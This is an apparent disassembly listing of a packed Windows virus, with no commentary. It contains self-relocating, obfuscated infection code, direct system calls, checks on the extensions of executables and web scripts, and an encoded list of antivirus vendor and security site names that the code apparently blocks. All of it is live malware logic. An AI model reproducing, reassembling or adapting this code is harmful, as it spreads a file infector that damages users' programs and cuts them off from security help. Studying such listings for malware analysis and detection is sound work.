		dd 0F6FCE80Ch, 21E8FFFFh, 74FFFFF8h, 6E8D8B20h,	8D123560h
		dd 0CF2B0134h, 333C8D4Eh, 87A4F3FDh, 17E8DD9h, 3EBBB58Dh
		dd 0F3FC1235h, 0BD80C3A4h, 12356104h, 661374FFh, 7500953Dh
		dd 6858B0Dh, 2B123561h,	3560CE85h, 0D233C312h, 0D5843B66h
		dd 12351733h, 0F513273h, 0B70FC8B7h, 1737D584h,	853B1235h
		dd 12351EB3h, 872D08Bh,	0EA811674h, 499Ch, 7395A30Fh, 7212351Dh
		dd 6784903h, 0F0EB4240h, 0C359C103h, 0D5842B66h, 12351733h
		dd 953AC2FEh, 12351732h, 8503B275h, 12351EAFh, 0EBCF8BC3h
		dd 4EBD8D0Bh, 0FC12355Eh, 0C933DF8Bh, 72613CACh, 777A3C06h
		dd 0AA202C02h, 0EC745C3Ch, 0DD742E3Ch, 0E875003Ch, 18B4DE3h
		dd 5E4D85C6h, 3D001235h, 455845h, 533D4274h, 74005243h
		dd 9185F73Bh, 812353Eh,	0F000000h, 0FFFF3C84h, 0FFFF25FFh
		dd 483D00FFh, 74004D54h, 48503D12h, 0B740050h, 5053413Dh
		dd 1E850F00h, 0FEFFFFFFh, 355E4D85h, 0E923EB12h, 0FFFFF8A2h
		dd 573D038Bh, 74434E49h, 43573DF2h, 0EB744E55h,	3343573Dh
		dd 3DE47432h, 4F545350h, 0A583DD74h, 1235605Ah,	0A5836600h
		dd 123560FAh, 0EC85C600h, 123561h, 16E8D233h, 0E8000000h
		dd 0FFFFFDDCh, 0E8h, 0ED815D00h, 123540BEh, 0BCFE9h, 32FF6400h
		dd 0FF228964h, 3522D095h, 0AA858912h, 33123560h, 0F6A6E8DBh
		dd 840FFFFFh, 0BB0h, 6076B58Bh,	0BD801235h, 12355E4Dh
		dd 0E80A7501h, 0FFFFFE0Dh, 0B97E9h, 3E816600h, 850F5A4Dh
		dd 0B8Ch, 813C5E8Bh, 0FFFFFBh, 7D870F00h, 300000Bh, 3B8166DEh
		dd 850F4550h, 0B70h, 1643F7h, 0F000020h, 0B6385h, 5C43F600h
		dd 59840F02h, 8B00000Bh, 354BB385h, 24463912h, 0B33840Fh
		dd 7EE80000h, 0FFFFFF7h, 0B3F82h, 8428B00h, 7310422Bh
		dd 89C03302h, 35607E85h, 0AF85C712h, 5E12351Eh,	0E8000053h
		dd 0FFFFF726h, 0B24E8h,	7A9D8B00h, 3123560h, 35607E9Dh
		dd 0F5FAE812h, 1075FFFFh, 0FFF4C9E8h, 0F5EEE8FFh, 840FFFFFh
		dd 0AF8h, 41C885C6h, 83031235h,	351EB7A5h, 85C60012h, 12351732h
		dd 0B58D01h, 8D123510h,	351733BDh, 67836612h, 36A0002h
		dd 27836658h, 47C76600h, 0E8800006h, 0FFFFE4FEh, 51034A8Dh
		dd 10BA858Dh, 8D8D1235h, 123510BFh, 11EB958Dh, 0F03B1235h
		dd 5680875h, 59000000h,	0F13B37EBh, 26A0575h, 3B2EEB59h
		dd 6A0975F2h, 747C605h,	21EB5900h, 0E93C068Ah, 0EB3C0C74h
		dd 0C23C0874h, 0C33C0474h, 47C60675h, 4EB8007h,	747C6h
		dd 132AE8h, 0F016600h, 11F0858Dh, 0F1031235h, 7359F03Bh
		dd 0FE98E22Fh, 35173285h, 32BD8012h, 0C7123517h, 8B661377h
		dd 3660247h, 8C78307h, 2478966h, 0FFFF61E9h, 0C885FEFFh
		dd 0E9123541h, 0FFFFFF37h, 6608C783h, 499C07C7h, 247C766h
		dd 0C76601F0h, 0C99C0647h, 173285FEh, 0B58B1235h, 12356076h
		dd 33C5E8Bh, 0F637E8DEh, 820FFFFFh, 9F8h, 4A81FE8Bh, 24h
		dd 246281E0h, 0FDFFFFFFh, 607E858Bh, 4A8B1235h,	147A030Ch
		dd 52104201h, 8310428Bh, 3560B2A5h, 0A5830012h,	123560B6h
		dd 0BAA58300h, 123560h,	60BEA583h, 83001235h, 3560C2A5h
		dd 0A5830012h, 123560C6h, 0CAA58300h, 123560h, 0F803C803h
		dd 73084239h, 8428903h,	832873FFh, 351EB38Dh, 8D89FF12h
		dd 123560E2h, 60CEBD89h, 85C71235h, 123560D2h, 3E6h, 60F2858Fh
		dd 85C61235h, 12356104h, 9185F7FFh, 112353Eh, 0F000000h
		dd 1A884h, 1C7E8300h, 9E850F00h, 83000001h, 0F00207Eh
		dd 19485h, 247E8300h, 8A850F00h, 8B000001h, 8093h, 0B0E85200h
		dd 3FFFFF2h, 3560DA95h,	76950312h, 8B123560h, 3560D6BDh
		dd 0C7A8312h, 5C840F00h, 83000001h, 0F00107Ah, 15284h
		dd 0C428B00h, 60DA8503h, 85031235h, 12356076h, 0DE85052h
		dd 4B000000h, 454E5245h, 2E32334Ch, 4C4C44h, 227895FFh
		dd 0C0851235h, 8305745Ah, 0B9EB14C2h, 107A8B57h, 3FFC983h
		dd 3560DABDh, 3C03312h,	356076BDh, 0E6BD8912h, 0F2123560h
		dd 4EF83AFh, 60EABD89h,	8B5F1235h, 0E8562873h, 0FFFFF227h
		dd 60D6958Bh, 4A8B1235h, 0C4A0308h, 0E983CE2Bh,	0D8880F06h
		dd 0F000000h, 0D284h, 0DAB50300h, 3123560h, 356076B5h
		dd 0DAB5FF12h, 0AC123560h, 3F75E83Ch, 2B04468Dh, 35607685h
		dd 0DA852B12h, 3123560h, 0DCE85006h, 83FFFFF1h,	3560D6BDh
		dd 7750012h, 730C473Bh,	306EB28h, 3560DA85h, 76850312h
		dd 66123560h, 25FF3881h, 408B1375h, 3C28EB02h, 800A75FFh
		dd 575153Eh, 0EB01468Bh, 0DA858F1Ah, 0FF123560h, 3560F285h
		dd 99754912h, 8F2873FFh, 3560F285h, 8954EB12h, 3560F685h
		dd 34432B12h, 0F17DE850h, 0BD39FFFFh, 123560D6h, 8503CF75h
		dd 123560DAh, 60768503h, 853B1235h, 123560E6h, 853BBB72h
		dd 123560EAh, 858FB373h, 123560DAh, 610485FEh, 4A811235h
		dd 6024h, 58026AE0h, 0FFE1FDE8h, 59588FFh, 8B123561h, 3560CEBDh
		dd 8DB60F12h, 12351732h, 0E3E8C18Bh, 33FFFFE1h,	85A30FC0h
		dd 123560B2h, 0CAFE0472h, 0C0FE0478h, 0D78BEFEBh, 0B285AB0Fh
		dd 2B123560h, 3560CE95h, 89665112h, 1737C594h, 0B70F1235h
		dd 1735C5B4h, 0B70F1235h, 1733C58Ch, 0FE811235h, 1F0h
		dd 35B48Dh, 75123510h, 2E9C11Bh, 1EB39589h, 0A5F31235h
		dd 0FC6783h, 0C6FCA783h, 0E900FFFFh, 1C0h, 840FC985h, 1B8h
		dd 5B05051h, 0FFE16DE8h, 2FA80FFh, 158830Fh, 0C68B0000h
		dd 0BA3DC52Bh, 75123510h, 5680Bh, 0E9590000h, 131h, 3510BF3Dh
		dd 6A087512h, 22E95902h, 3D000001h, 123511EBh, 56A0875h
		dd 113E959h, 0BD800000h, 12356104h, 3D7874FFh, 12351017h
		dd 1A3D7172h, 73123510h, 68D78B6Ah, 3, 1EBBBD8Dh, 8A591235h
		dd 8BA4F306h, 35B0AAFAh, 60CE952Bh, 68AA1235h, 3, 60F6858Bh
		dd 953B1235h, 12351EB3h, 0EA810676h, 499Ch, 9589AB59h
		dd 12351EB7h, 7395B30Fh, 4212351Dh, 48BF6E2h, 84816624h
		dd 351739C5h, 81000312h, 304246Ch, 0B1000000h, 0BAE903h
		dd 92E90000h, 3D000000h, 12351095h, 82850Fh, 0BD800000h
		dd 12356104h, 80797200h, 356104BDh, 70730212h, 6104BD80h
		dd 75001235h, 6BD8906h,	0F123561h, 610585B6h, 76A1235h
		dd 5903C06Bh, 60F2958Bh, 0BD801235h, 12356104h,	83057501h
		dd 0D02B04C2h, 0C6B0C803h, 61058502h, 0B0AA1235h, 0C28BAA05h
		dd 0AB344303h, 60DA9503h, 95031235h
		dd 12356076h, 0BD80028Bh, 12356105h, 0AA037500h, 0FEAB01EBh
		dd 35610485h, 5B58012h,	1123561h, 5EB2AEBh, 0EA2E8h, 985C600h
		dd 0B3123547h, 244C2951h, 59A4F308h, 0F75719EBh, 0AFE8241Ch
		dd 59FFFFF2h, 8D29CF03h, 123560D2h, 470985C6h, 8BAB1235h
		dd 1662404h, 1739C58Ch,	578D1235h, 2B1EE3FFh, 3560CE95h
		dd 0B3953B12h, 7612351Eh, 9CEA8106h, 0F000049h,	1D7395B3h
		dd 0E24A1235h, 0E95958F6h, 0FFFFFE40h, 0C584F659h, 1235173Ah
		dd 0B00D7580h, 0C883AAEBh, 0DFA8E8FFh, 0AB92FFFFh, 850FC9FEh
		dd 0FFFFFDB4h, 952BD78Bh, 123560CEh, 1EAF9589h,	0B70F1235h
		dd 1EC22984h, 37E81235h, 50FFFFF8h, 2984B70Fh, 12351EC0h
		dd 0F828E848h, 2940FFFFh, 0B70F2404h, 1EBE2984h, 17E81235h
		dd 3FFFFF8h, 3560CE85h,	83008F12h, 0F98106C1h, 0D2h, 0BD8BC072h
		dd 123560CEh, 1733B58Dh, 0BD031235h, 12351EB3h,	78B68h
		dd 43C78100h, 59000005h, 0C933A4F3h, 3ACD84F6h,	80123517h
		dd 0B70F4375h, 1739CD94h, 0B70F1235h, 1737CD84h, 0E2811235h
		dd 7FFFh, 202448Dh, 0CD94B70Fh,	1235173Fh, 8503D02Bh, 123560CEh
		dd 7C80FA83h, 7FFA830Ah, 5088057Fh, 830AEBFFh, 40C603EAh
		dd 5089E9FEh, 3AC1FEFFh, 3517328Dh, 0B8A97212h,	0FFFFh
		dd 0FFDECDE8h, 0B85242FFh, 0BFh, 0FFF775E8h, 0CE8503FFh
		dd 5A123560h, 0F108966h, 17378DB7h, 858B1235h, 12351EB3h
		dd 60E28D03h, 85031235h, 123560CEh, 610A8D89h, 98B91235h
		dd 49h,	40303010h, 4FE8F9E2h, 0FEFFFFF0h, 3561EC85h, 7EA58012h
		dd 12354Ch, 3E9185F7h, 21235h, 840F0000h, 338h,	0E82873FFh
		dd 0FFFFEDA3h, 60D6958Bh, 428B1235h, 8422B10h, 31E820Fh
		dd 0F8830000h, 15820F40h, 89000003h, 3560D285h,	0DAB5FF12h
		dd 52123560h, 30C428Bh,	50481042h, 0FFED6EE8h, 858F5AFFh
		dd 123560DAh, 60D69539h, 13741235h, 60D6BD83h, 0F001235h
		dd 2DF85h, 0D6958900h, 68123560h, 0FFh,	0DE00E858h, 8842FFFFh
		dd 354C7E95h, 58036A12h, 0FFDDF1E8h, 0EA9588FFh, 83123561h
		dd 3560D2ADh, 0C9333212h, 610EBD8Dh, 85C61235h,	123561EBh
		dd 30C16B00h, 60D2B5FFh, 0F8031235h, 26243C83h,	85C70A76h
		dd 123560D2h, 26h, 0E858036Ah, 0FFFFDDB2h, 5D74D20Ah, 2F98051h
		dd 0F9801C72h, 80097502h, 3561EBBDh, 0E740012h,	7503F980h
		dd 0EBBD8010h, 1123561h, 87680775h, 0EB000000h,	0F076A02h
		dd 61EA85B6h, 0F9801235h, 9755903h, 61EBBD80h, 75001235h
		dd 0C1B30F03h, 0F037E857h, 2B5AFFFFh, 245401D7h, 0D2950104h
		dd 59123560h, 0A3E9h, 0EBBD8000h, 1123561h, 0C16B2975h
		dd 28848D30h, 1235610Eh, 60D2858Fh, 0D8F71235h,	8488C703h
		dd 3561CE29h, 0F9804112h, 41850F04h, 0EBFFFFFFh, 0A71EB78h
		dd 0B01375C9h, 0EA8502B8h, 0AA123561h, 1EAF858Bh, 0AB481235h
		dd 0F98054EBh, 0B0327501h, 85F7AA80h, 12353E91h, 4, 8DC0950Fh
		dd 0E0C08004h, 0EA850203h, 4123561h, 858BAA80h,	123560E2h
		dd 0AB344303h, 4C7E858Ah, 0EBAA1235h, 2F9801Dh,	48B00B75h
		dd 61EA8502h, 0EBAA1235h, 0AA0FB00Dh, 89AA89B0h, 3561E2BDh
		dd 85FEAB12h, 123561EBh, 0FFFEEFE9h, 0D6958BFFh, 8B123560h
		dd 7A030C7Ah, 1072FF08h, 8308428Fh, 3561E6A5h, 0BD030012h
		dd 123560DAh, 6076BD03h, 958B1235h, 123561E6h, 0C033C933h
		dd 0E68DA30Fh, 72123561h, 80414001h, 0F07504F9h, 0FFDC65E8h
		dd 0FC933FFh, 61E68DA3h, 3721235h, 4103784Ah, 0AB0FF1EBh
		dd 3561E68Dh, 8DBC8912h, 123561D2h, 5130C16Bh, 0E28B48Dh
		dd 0F123561h, 0CE298CB6h, 0F3123561h, 0AAE9B0A4h, 0D2858BABh
		dd 0C1123560h, 1FE802E8h, 8BFFFFDCh, 0B819E3CAh, 13Ch
		dd 0FFDC0AE8h, 3CF883FFh, 0E8830572h, 2B02EB3Ch, 0E7E2AAC0h
		dd 2984FE59h, 123561CEh, 61E6BD83h, 0F0F1235h, 0FFFF6985h
		dd 80C933FFh, 147503F9h, 610A858Bh, 85031235h, 123560DAh
		dd 60768503h, 7EB1235h,	0D68D848Bh, 0F123561h, 0CE29BCB6h
		dd 3123561h, 61D28DBCh,	0C72B1235h, 80F88348h, 0F8830C7Ch
		dd 0C6077F7Fh, 0AAEBFF47h, 0E88304EBh, 8041AB03h, 0B37504F9h
		dd 61D6858Bh, 958D1235h, 1235619Eh, 61DE8D8Bh, 0BD8B1235h
		dd 123561E2h, 0F903FA2Bh, 0F883C72Bh, 832D7C80h, 287F7FF8h
		dd 79FE47C6h, 0C7FF4788h, 3560D285h, 412h, 57C92B00h, 2EE887B1h
		dd 59FFFFEEh, 8D01CF2Bh, 123560D2h, 4EBEB75h, 0AB04E883h
		dd 61D2858Bh, 852B1235h, 123560DAh, 6076852Bh, 85891235h
		dd 1235610Ah, 7A8D8B5Ah, 8B123560h, 356076B5h, 3ACE6812h
		dd 468FC37Ah, 104A0124h, 586383h, 6082858Bh, 42011235h
		dd 0C4A8B08h, 39504301h, 888Bh,	0FF097500h, 838F0872h
		dd 8Ch,	0A0A383h, 8B000000h, 3560F285h,	0A4A38312h, 0
		dd 66344303h, 3F5E6381h, 50D8F7FEh, 0F68h, 7FE85800h, 3FFFFF3h
		dd 3560CE85h, 0A958B12h, 8F123561h, 4BD8000h, 0FF123561h
		dd 53890575h, 8B1FEB28h, 356076BDh, 0F2BD0312h,	3123560h
		dd 3560DABDh, 0AAE9B012h, 2BFB428Dh, 3560F285h,	0BD80AB12h
		dd 12354C7Eh, 8B327400h, 3560CEBDh, 0AF8D8B12h,	0F712351Eh
		dd 353E9185h, 412h, 397C8D00h, 800974FFh, 354C7DA5h, 7EBD712h
		dd 4C7D8D80h, 80281235h, 0E24F0007h, 4E858DFAh,	8D12355Eh
		dd 355F5295h, 0C6525012h, 95FF0002h, 12352270h,	8B64D233h
		dd 28F6422h, 5ABD8358h,	123560h, 9D840Fh, 0B5FF0000h, 12356076h
		dd 231895FFh
		db 35h,	12h
; ---------------------------------------------------------------------------


loc_48DBDA:				; CODE XREF: UPX2:0048C7B1j
		push	dword ptr [ebp+12356072h]
		call	dword ptr [ebp+12352288h]
		cmp	byte ptr [ebp+123560FBh], 0
		jz	short loc_48DC0B
		lea	ecx, [ebp+1235605Eh]
		lea	edx, [ebp+12356066h]
		push	ecx
		push	edx
		push	0
		push	dword ptr [ebp+1235605Ah]
		call	dword ptr [ebp+1235230Ch]


loc_48DC0B:				; CODE XREF: UPX2:0048C747j
					; UPX2:0048C77Cj ...
		cmp	byte ptr [ebp+123561ECh], 0
		jz	short loc_48DC43
		mov	eax, [ebp+1235606Eh]
		push	0
		add	eax, [ebp+1235607Ah]
		add	eax, [ebp+1235607Eh]
		push	0
		push	eax
		push	dword ptr [ebp+1235605Ah]
		call	dword ptr [ebp+12352308h]
		push	dword ptr [ebp+1235605Ah]
		call	dword ptr [ebp+12352300h]


loc_48DC43:				; CODE XREF: UPX2:0048DC12j
		push	dword ptr [ebp+1235605Ah]
		call	dword ptr [ebp+12352288h]


loc_48DC4F:				; CODE XREF: UPX2:0048C705j
		cmp	byte ptr [ebp+123560FAh], 0
		jz	short loc_48DC6B
		lea	esi, [ebp+12355E4Eh]
		push	dword ptr [ebp+12356056h]
		push	esi
		call	dword ptr [ebp+12352304h]


loc_48DC6B:				; CODE XREF: UPX2:0048DC56j
		and	word ptr [ebp+123560FAh], 0
		and	dword ptr [ebp+1235605Ah], 0
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(1), 1000001h, 40000000h, 3 dup(0)
		dd 3 dup(1), 1000001h, 40000000h, 0
		dd 10000000h, 0
		dd 3 dup(1), 1000001h, 40000000h, 3 dup(0)
		dd 3 dup(1), 1000001h, 40000000h, 3 dup(0)
		dd 3 dup(1), 1000001h, 40000000h, 2000000h, 2 dup(0)
		dd 3 dup(1), 1000001h, 40000000h, 2000000h, 2 dup(0)
		dd 3 dup(1), 1000001h, 40000000h, 2000000h, 2 dup(0)
		dd 3 dup(1), 1000001h, 40000000h, 2000000h, 24h	dup(0)
		dd 1, 2000001h,	2000000h, 6000000h, 0A000000h, 2 dup(40000000h)
		dd 1000001h, 1000000h, 1, 3 dup(0)
		dd 11h dup(1000000h), 40000001h, 2 dup(1000001h), 0Dh dup(1)
		dd 0Ah dup(0)
		dd 40h,	4 dup(0)
		dd 4 dup(80000000h), 4 dup(0)
		dd 1000000h, 40000000h,	6 dup(0)
		dd 8 dup(1000000h), 8 dup(40000000h), 1000000h,	1000001h
		dd 20000001h, 2	dup(400h), 1, 1000001h,	40000001h, 21000001h
		dd 0
		dd 20000000h, 2	dup(400h), 1000000h, 2 dup(0)
		dd 400h, 3 dup(1), 1000001h, 1000000h, 3 dup(0)
		dd 7 dup(1), 1000001h, 7 dup(1000000h),	2 dup(40000000h)
		dd 0
		dd 1000020h, 4 dup(0)
		dd 2000000h, 0
		dd 2 dup(2000000h), 3 dup(0)
		dd 80h,	100h, 6	dup(0)
		dd 1, 200h, 4 dup(1), 9	dup(0)
		dd 1, 0
		dd 1000h, 9 dup(1), 6 dup(0)
		dd 5 dup(1000000h), 0
		dd 1000000h, 2 dup(0)
		dd 8 dup(1), 6 dup(0)
		dd 2 dup(1), 8 dup(0)
		dd 2Fh dup(1), 4 dup(1000001h),	4 dup(1), 0
		dd 7 dup(1), 40000001h,	0Fh dup(40000000h), 0
		dd 10h dup(1), 3 dup(0)
		dd 1000001h, 4 dup(1), 3 dup(0)
		dd 1000001h, 2 dup(1), 800h, 9 dup(1), 0
		dd 1000000h, 7 dup(1), 1000001h, 1, 3 dup(1000001h), 2 dup(1)
		dd 8 dup(0)
		dd 2Fh dup(1), 56000000h, 85C6C933h, 123560FCh,	0FD85C601h
		dd 1123560h, 8BACC033h,	4D5C8584h, 10A91235h, 74000000h
		dd 0C033410Bh, 85848BACh, 1235515Ch, 100000A9h,	41067400h
		dd 1000Dh, 4A900h, 7740000h, 60FCB580h,	0A9011235h, 8
		dd 0B5800774h, 123560FDh, 2A901h, 3740000h, 0A9B1EB41h
		dd 21h,	0A9410174h, 20h, 0A9410174h, 6000h, 0BD801174h
		dd 123560FCh, 83057500h, 3EB04C1h, 0A906C183h, 80h, 0BD800F74h
		dd 123560FDh, 83037501h, 0C18302C1h, 40A902h, 0F740000h
		dd 60FCBD80h, 75011235h, 2C18303h, 0A902C183h, 80000h
		dd 0AC501974h, 874F83Ch, 474E83Ch, 375703Ch, 8107EB41h
		dd 100240Ch, 0A9580000h, 8000h,	168A1B74h, 7538E280h, 101B80Ah
		dd 2FE90000h, 0B8FFFFFFh, 100h,	0FFFF25E9h, 0A9FFh, 1B740001h
		dd 0E280168Ah, 0B80A7538h, 140h, 0FFFF0DE9h, 100B8FFh
		dd 3E90000h, 0A9FFFFFFh, 20000h, 0B80A74h, 0E9000001h
		dd 0FFFFFEF2h, 100A9h, 0AC6E7400h, 24D08A41h, 7E280C0h
		dd 3C06E8C0h, 805E7403h, 3560FDBDh, 1E750012h, 0A75C00Ah
		dd 7506FA80h, 2C18305h,	13C47EBh, 0EB410375h, 75023C40h
		dd 2C1833Ch, 0FA8037EBh, 3C167504h, 41127403h, 0D75C00Ah
		dd 724068Ah, 375053Ch, 0B004C183h, 75C00A00h, 5FA800Ah
		dd 0C1830575h, 3C0EEB04h, 41037501h, 23C07EBh, 0C1830375h
		dd 0C35E4104h

; =============== S U B	R O U T	I N E =======================================



sub_48E61C	proc near		; CODE XREF: UPX2:loc_48C4D0p
		call	$+5
		pop	ebp
		push	1
		sub	ebp, 12355702h
		pop	eax
		lock xadd [ebp+12351642h], eax
		test	eax, eax
		retn
sub_48E61C	endp


; =============== S U B	R O U T	I N E =======================================



sub_48E636	proc near		; CODE XREF: UPX2:0048C4D6p
		or	eax, 0FFFFFFFFh
		lock xadd [ebp+12351642h], eax
		retn
sub_48E636	endp

; ---------------------------------------------------------------------------
		dw 103Dh
		dd 75002A00h, 7C81661Ch, 716C0C24h, 0E8601375h,	0FFFFFFC4h
		dd 0C2E80575h, 0E8FFFFE8h, 0FFFFFFD2h, 2DFF2E61h, 12345678h
		dd 25B8h, 8B916000h, 8B302444h,	81660850h, 7302063Ah, 0FF96E844h
		dd 3F75FFFFh, 2435FF64h, 8F000000h, 3560AE85h, 4EB58D12h
		dd 5612355Eh, 0FF000068h, 6AC48B00h, 0FF505200h, 3523A895h
		dd 8C48312h, 3F5C3E81h,	3755C3Fh, 0E804C683h, 0FFFFE861h
		dd 0FFFF71E8h, 64C361FFh, 24A1h, 0AE853900h, 75123560h
		dd 4E8D3BEBh, 75123557h, 244C810Ah, 10048h, 81D9EB00h
		dd 3C244Ch, 0EB000001h,	74B8CFh, 76E90000h, 0B8FFFFFFh
		dd 2Fh,	1DE8h, 20C200h,	30B8h, 10E800h,	24C20000h, 185B800h
		dd 3E80000h, 0C2000000h, 548D002Ch, 2ECD0C24h, 7C00F883h
		dd 0E86019h, 8B000000h,	5D302454h, 0ED811A8Bh, 12355814h
		dd 0FFCCE9E8h, 4C261FFh, 9AB800h, 7C830000h, 75220C24h
		dd 247C832Ch, 2575FF08h, 0E8h, 0BA835A00h, 0FFFFBE00h
		dd 8D167E00h, 0CD082454h, 0F8832Eh, 548B077Ch, 0A831024h
		dd 14C25A30h, 6504C300h, 746573h, 67766103h, 6E697700h
		dd 73776F64h, 61647075h, 77006574h, 65646C69h, 65737372h
		dd 69727563h, 74007974h, 61657268h, 70786574h, 747265h
		dd 74736163h, 6F63656Ch, 73007370h, 686D6170h, 737561h
		dd 65737063h, 65727563h, 63726100h, 74696261h, 736D6500h
		dd 666F7369h, 75730074h, 6C65626Eh, 65730074h, 65727563h
		dd 706D6F63h, 6E697475h, 69720067h, 676E6973h, 65727000h
		dd 70007876h, 6F6F7463h, 6E00736Ch, 616D726Fh, 376B006Eh
		dd 706D6F63h, 6E697475h, 6B690067h, 73757261h, 75616800h
		dd 68006972h, 736B6361h, 74666Fh, 74616467h, 6F660061h
		dd 6E697472h, 65007465h, 6F646977h, 616C6300h, 76616Dh
		dd 6F6D6F63h, 71006F64h, 6B636975h, 6C616568h, 69766100h
		dd 61006172h, 74736176h, 61736500h, 61006566h, 616C6E68h
		dd 65630062h, 6172746Eh, 6D6F636Ch, 646E616Dh, 77726400h
		dd 67006265h, 6F736972h, 6E007466h, 3233646Fh, 702D6600h
		dd 746F72h, 74746F6Ah, 616B0069h, 72657073h, 796B73h, 65732D66h
		dd 65727563h, 6D6F6300h, 65747570h, 73736172h, 6169636Fh
		dd 736574h, 7774656Eh, 616B726Fh, 636F7373h, 65746169h
		dd 74650073h, 74737572h, 6E617000h, 73006164h, 6F68706Fh
		dd 72740073h, 6D646E65h, 6F726369h, 61636D00h, 656566h
		dd 74726F6Eh, 73006E6Fh, 6E616D79h, 636574h, 65666564h
		dd 7265646Eh, 6F6F7200h, 74696B74h, 6C616D00h, 65726177h
		dd 79707300h, 65726177h, 72697600h, 7375h, 5863BD8Dh, 0FB831235h
		dd 572E7204h, 228095FFh, 0C33B1235h, 3047691h, 5614EBF9h
		dd 240C0157h, 3A200CACh, 47047507h, 5FF57549h, 470A745Eh
		dd 75003F80h, 0EB4B46D6h, 7C81C3C7h, 20231C24h,	73750001h
		dd 24247C83h, 8B6C7538h, 3D202444h, 100000h, 0C0856172h
		dd 78835D78h, 57750104h, 16307883h, 88B5175h, 0F981h, 47720010h
		dd 4378C985h, 3D34508Bh, 100000h, 0C0853972h, 81663578h
		dd 3500087Ah, 0E8602D75h, 0
		dd 8B5D198Bh, 0ED810471h, 12355AB9h, 0FFFF5FE8h, 137561FFh
		dd 18244C8Bh, 8307E358h, 61830021h, 0C0330004h,	0B80028C2h
		dd 42h,	5CFF8BC3h, 61004200h, 65007300h, 61004E00h, 65006D00h
		dd 4F006400h, 6A006200h, 63006500h, 73007400h, 6A005C00h
		dd 7A007200h, 56007400h, 7400h,	13h dup(0)
		dd 30000000h, 0A0000000h, 7B7C80ADh, 6CDD4FE6h,	8C0048EDh
		dd 240012FFh, 29F67708h, 0DFA76Ch, 3F000000h
		db 0E9h, 80h, 7Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48EB00


loc_48EAAB:				; CODE XREF: sub_48EB00+257j
		clc
		nop
		mov	edi, 0D23438B9h
		nop
		call	sub_48ED6C
		cmc
		call	sub_48A035
		push	ecx
		push	edx
		jmp	loc_48EC24
; ---------------------------------------------------------------------------


loc_48EAC5:				; CODE XREF: sub_48EB00-49F6j
		dec	dh
		inc	dh
		not	edx
		not	edx
		wait
		sub	[esp+4+var_4], eax
		test	byte ptr [edi],	0FFh
		pop	eax
		jmp	loc_48EB95
; END OF FUNCTION CHUNK	FOR sub_48EB00

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		or	bh, 0
		call	sub_48EAE9
		lea	eax, [eax]
		cld
		not	esp
		not	esp
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_48EAE9	proc near		; CODE XREF: start+3p

var_28		= byte ptr -28h
var_14		= byte ptr -14h

; FUNCTION CHUNK AT 0048EE88 SIZE 00000024 BYTES

		pusha
		lea	ebx, [esp+0Dh]
		dec	ecx
		and	ebp, 0
		jmp	loc_48EE88
sub_48EAE9	endp

; ---------------------------------------------------------------------------
		sub	al, 0E6h
		mov	edx, 7A9E86E5h
		xchg	ah, ah

; =============== S U B	R O U T	I N E =======================================



sub_48EB00	proc near		; CODE XREF: sub_48ED6C+26p

var_70		= dword	ptr -70h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_AC		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B4h

; FUNCTION CHUNK AT 0048A000 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0048A08F SIZE 00000082 BYTES
; FUNCTION CHUNK AT 0048A112 SIZE 00000189 BYTES
; FUNCTION CHUNK AT 0048A2AB SIZE 000001FF BYTES
; FUNCTION CHUNK AT 0048A4C3 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0048A4E6 SIZE 00000069 BYTES
; FUNCTION CHUNK AT 0048EAAB SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0048ECC1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0048ED2D SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0048EDFD SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0048EE39 SIZE 0000004F BYTES

		sub	esp, 14h
		and	dl, bl
		cmp	dh, 0C9h
		not	dh
		xchg	ch, dh
		mov	edx, esi
		call	sub_48ECE8
		nop
		not	esp
		not	esp
		add	edi, ebp
		sub	edi, ebp
		lea	ecx, [ebp+1D8h]
		jmp	short loc_48EB48
; ---------------------------------------------------------------------------
		db 53h,	0C2h, 62h
; ---------------------------------------------------------------------------


loc_48EB27:				; CODE XREF: sub_48ED6C-4D02j
		pop	ecx
		cmc
		clc
		adc	edi, edx
		xor	edi, 0FFFFFF80h
		xchg	ch, dh
		xchg	ch, dh
		not	ch
		not	ch


loc_48EB37:				; CODE XREF: sub_48EB00:loc_48A08Fj
		inc	ecx
		nop
		lodsd
		not	ebp
		not	ebp
		mov	edi, ebx
		lea	edi, [eax+edi]
		jmp	loc_48EBD0
; ---------------------------------------------------------------------------


loc_48EB48:				; CODE XREF: sub_48EB00+22j
		push	eax
		push	edx
		push	eax
		add	cl, 0
		and	bl, bl
		mov	edx, esp
		wait
		add	byte ptr [edx],	0Ch
		jmp	loc_48EC04
; ---------------------------------------------------------------------------


loc_48EB5B:				; CODE XREF: sub_48ED6C+7Bj
		cld
		adc	dh, ch
		mov	edx, edx
		wait
		not	dh
		cmc
		mov	edi, ecx
		sbb	dh, 97h
		xchg	eax, ecx
		rdtsc
		retn
; ---------------------------------------------------------------------------
		cld
		mov	edi, 511D435Ch
		sahf


loc_48EB74:				; CODE XREF: sub_48EB00:loc_48EC3Dj
		xor	eax, eax
		sbb	ch, 1Eh
		xor	edx, edx
		jmp	short loc_48EBA9
; ---------------------------------------------------------------------------
		fcomp	st(2)
		icebp


loc_48EB80:				; CODE XREF: sub_48EB00-4A0Aj
		mov	cl, 79h
		pop	ebx
		nop
		push	1
		mov	esi, 0E845722Dh
		push	4873706Bh
		jmp	loc_48ED2D
; ---------------------------------------------------------------------------


loc_48EB95:				; CODE XREF: sub_48EB00-2Bj
		jnz	loc_48EBE6
		xor	eax, 0DD4FE67Bh
		sub	eax, [esp+4]
		jmp	loc_48A08F
; ---------------------------------------------------------------------------


loc_48EBA9:				; CODE XREF: sub_48EB00+7Bj
		lea	esi, [esi-63h]
		mov	esi, 1134FC10h
		int	2Eh		; DOS 2+ internal - EXECUTE COMMAND
					; DS:SI	-> counted CR-terminated command string
		lea	ecx, [ecx]
		test	al, 1
		mov	cl, ah
		not	dh
		jz	loc_48EC48
		nop
		sbb	edi, 3Ah
		inc	al
		dec	ecx
		sbb	edi, ebx
		push	ebx
		jmp	loc_48A0D8
